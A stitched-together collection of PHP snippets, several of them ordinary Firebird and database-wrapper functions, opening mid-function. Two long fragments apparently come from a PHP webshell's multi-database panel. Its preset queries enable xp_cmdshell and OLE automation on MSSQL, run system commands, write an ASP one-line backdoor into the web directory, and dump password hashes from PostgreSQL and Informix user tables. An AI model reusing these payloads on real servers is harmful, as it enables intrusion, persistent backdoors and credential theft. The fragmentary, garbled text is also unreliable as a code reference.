Str[2] = "select name from sysibm.systables;"; Str[3] = "select colname from syscat.columns where tabname='table_name';"; Str[4] = "db2 get db cfg for db_name;"; \tdb2form.db2sql.value = Str[i]; \treturn true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">databases</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">db config</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result); echo "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$db2row[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=w&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ \tStr = new Array(5); Str[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; Str[3] = "input 'D:\\createtable.sql';"; Str[4] = "shell netstat -an;"; \tfbform.fbsql.value = Str[i]; \treturn true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">import sql</option> <option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$fbrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ibase_free_result($fbresult); ibase_close(); } } else { $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print <<<END <form method="POST" name="pgform" action="?s=w"> <div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;"> User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px"> Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br> <script language="javascript"> function pgFull(i){ \tStr = new Array(7); \tStr[0] = ""; Str[1] = "select version();"; Str[2] = "select datname from pg_database;"; Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;"; Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; Str[5] = "select usename,passwd from pg_shadow;"; \tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; \tpgform.pgsql.value = Str[i]; \treturn true; } </script> <textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> <select onchange="return pgFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">pg_hb.conf</option> </select> <input type="hidden" name="action" value="pgquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($pgaction == 'pgquery') { $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error()); $pgrow = pg_fetch_row($pgresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; pg_result_seek($pgresult, 0); while ($pgrow = pg_fetch_row($pgresult)) { echo "<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$pgrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; pg_free_result($pgresult); pg_close(); } } }
/** * Free the result * * @return void */ public function free_result() { ibase_free_result($this->result_id); }
function GetData($_start = 0, $_count = 9999999) { //Return associate array of data $_tpl_select_command = "SELECT {limit} * FROM ({SelectCommand}) {where} {orderby} {groupby}"; //Filters $_where = ""; $_filters = $this->Filters; for ($i = 0; $i < sizeof($_filters); $i++) { $_where .= " and " . $this->GetFilterExpression($_filters[$i]); } if ($_where != "") { $_where = "WHERE " . substr($_where, 5); } //Order $_orderby = ""; $_orders = $this->Sorts; for ($i = 0; $i < sizeof($_orders); $i++) { $_orderby .= ", " . $_orders[$i]->Field . " " . $_orders[$i]->Order; } if ($_orderby != "") { $_orderby = "ORDER BY " . substr($_orderby, 2); } //Group $_groupby = ""; $_groups = $this->Groups; for ($i = 0; $i < sizeof($_groups); $i++) { $_groupby .= ", " . $_groups[$i]->Field; } if ($_groupby != "") { $_groupby = "GROUP BY " . substr($_groupby, 2); } //Limit $_limit = "FIRST " . $_count . " SKIP " . $_start; $_select_command = str_replace("{SelectCommand}", $this->SelectCommand, $_tpl_select_command); $_select_command = str_replace("{where}", $_where, $_select_command); $_select_command = str_replace("{orderby}", $_orderby, $_select_command); $_select_command = str_replace("{groupby}", $_groupby, $_select_command); $_select_command = str_replace("{limit}", $_limit, $_select_command); //echo $_select_command; $_result = ibase_query($this->_Link, $_select_command); $_rows = array(); while ($_row = ibase_fetch_assoc($_result)) { array_push($_rows, $_row); } ibase_free_result($_result); return $_rows; }
function gcms_free_result($result) { return ibase_free_result($result); }
/** * Build db-specific report * @access private */ function _sql_report($mode, $query = '') { switch ($mode) { case 'start': break; case 'fromcache': $endtime = explode(' ', microtime()); $endtime = $endtime[0] + $endtime[1]; $result = @ibase_query($this->db_connect_id, $query); while ($void = @ibase_fetch_object($result, IBASE_TEXT)) { // Take the time spent on parsing rows into account } @ibase_free_result($result); $splittime = explode(' ', microtime()); $splittime = $splittime[0] + $splittime[1]; $this->sql_report('record_fromcache', $query, $endtime, $splittime); break; } }
$unit = $row[2]; $charlimits = str_replace('%', '\\%', $row[3]); $charlimits = str_replace('^', '\\^{}', $charlimits); $ress = $row[1]; if ($row[4] == "O") { $ress = "\\textbf{" . $row[1] . "}"; } $results .= "~ \\footnotesize " . $row[0] . " & \\footnotesize " . $ress . " & \\footnotesize " . $unit . " \\\\ \n"; $results .= "\\hline" . "\n"; } ibase_free_result($res); } } } $user = getUserEnterResults($ordersid, $dbh); $appruser = getApprUser($ordersid, $dbh); $comments = ""; $restm = "select distinct f.comments from foldercomments f inner join orders o on o.folderno = f.folderno where o.id in(" . $ordersid . ") and f.flag = 'Y' order by f.id"; $res = ibase_query($dbh, $restm); while ($row = ibase_fetch_row($res)) { $comments .= "\\small \\quad " . $row[0] . "\n\n"; } ibase_free_result($res); $biomat = find_biomat($ordersid, $dbh); $head = "\\SetWatermarkText{" . $watermark . "}\n"; $head .= "\\vspace{-10px} \\flushleft \\normalsize Биоматериал: " . $biomat . "\n\n\\vspace{3px}"; $head .= "\n\\begin{longtable}[h]{|m{230px}|>{\\centering\\arraybackslash}p{140px}|m{90px}|}\n\\hline\nИсследование & Результат & Единицы \\newline измерения \\\\\n\\hline"; $apprdate = find_apprdate($ordersid, $dbh); $comments = str_replace('%', '\\%', $comments); $end = "\\end{longtable}\n\\vspace{-15px}\n\\flushleft Комментарии:" . $comments . "\n\\vspace{-4px}\n\\flushleft Исследования проводил: " . $user . " \n\\vspace{-4px}\n\\flushleft Выпускающий врач: " . $appruser . " \n\\newline\n\\flushright Дата выдачи: " . $apprdate; $response = $head . $results . $end;
/** * Frees the resources allocated for this result set. * @return void */ public function free() { ibase_free_result($this->resultSet); $this->resultSet = NULL; }
public function freeResult() { ibase_free_result($this->rtemp); }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
/** * Limpa o resultado armazenado para o objeto atual * * @author Hugo Ferreira da Silva * @return void */ public function freeResult($resultID) { if (isset($this->resultList[$resultID]) && is_resource($this->resultList[$resultID])) { Lumine_Log::debug('Liberando o registro #' . $resultID); ibase_free_result($this->resultList[$resultID]); } }
/** +---------------------------------------------------------- * 取得数据表的字段信息 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @throws ThinkExecption +---------------------------------------------------------- */ public function getFields($tableName) { $result = $this->query('SELECT RDB$FIELD_NAME AS FIELD, RDB$DEFAULT_VALUE AS DEFAULT1, RDB$NULL_FLAG AS NULL1 FROM RDB$RELATION_FIELDS WHERE RDB$RELATION_NAME=UPPER(\'' . $tableName . '\') ORDER By RDB$FIELD_POSITION'); $info = array(); if ($result) { foreach ($result as $key => $val) { $info[trim($val['FIELD'])] = array('name' => trim($val['FIELD']), 'type' => '', 'notnull' => (bool) ($val['NULL1'] == 1), 'default' => $val['DEFAULT1'], 'primary' => false, 'autoinc' => false); } } //剑雷 取表字段类型 $sql = 'select first 1 * from ' . $tableName; $rs_temp = ibase_query($this->_linkID, $sql); $fieldCount = ibase_num_fields($rs_temp); for ($i = 0; $i < $fieldCount; $i++) { $col_info = ibase_field_info($rs_temp, $i); $info[trim($col_info['name'])]['type'] = $col_info['type']; } ibase_free_result($rs_temp); //剑雷 取表的主键 $sql = 'select b.rdb$field_name as FIELD_NAME from rdb$relation_constraints a join rdb$index_segments b on a.rdb$index_name=b.rdb$index_name where a.rdb$constraint_type=\'PRIMARY KEY\' and a.rdb$relation_name=UPPER(\'' . $tableName . '\')'; $rs_temp = ibase_query($this->_linkID, $sql); while ($row = ibase_fetch_object($rs_temp)) { $info[trim($row->FIELD_NAME)]['primary'] = True; } ibase_free_result($rs_temp); return $info; }
function sti_firebird_get_data($connection_string, $data_source_name, $query) { $info = sti_firebird_parse_connection_string($connection_string); $link = ibase_connect($info["host"] . ":" . $info["database"], $info["user_id"], $info["password"]) or die("ServerError:Could not connect to host '" . $info["host"] . "', database '" . $info["database"] . "'"); $query = sti_parse_query_parameters($query); $result = ibase_query($link, $query) or die("ServerError:Data not found"); $xml_output = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Database>"; $count = ibase_num_fields($result); for ($fid = 0; $fid < $count; $fid++) { $field_info = ibase_field_info($result, $fid); $columns[$fid] = $field_info['alias']; } while ($row = ibase_fetch_assoc($result)) { $xml_output .= "<{$data_source_name}>"; foreach ($columns as $column) { $value = $row[$column]; $value = str_replace("&", "&", $value); $value = str_replace("<", "<", $value); $value = str_replace(">", ">", $value); $xml_output .= "<{$column}>{$value}</{$column}>"; } $xml_output .= "</{$data_source_name}>"; } $xml_output .= "</Database>"; ibase_free_result($result); ibase_close($link); return $xml_output; }
function sql_freeresult($query_id = false) { if (!$query_id) { $query_id = $this->query_result; } if (!$this->transaction && $query_id) { @ibase_commit(); } return $query_id ? @ibase_free_result($query_id) : false; }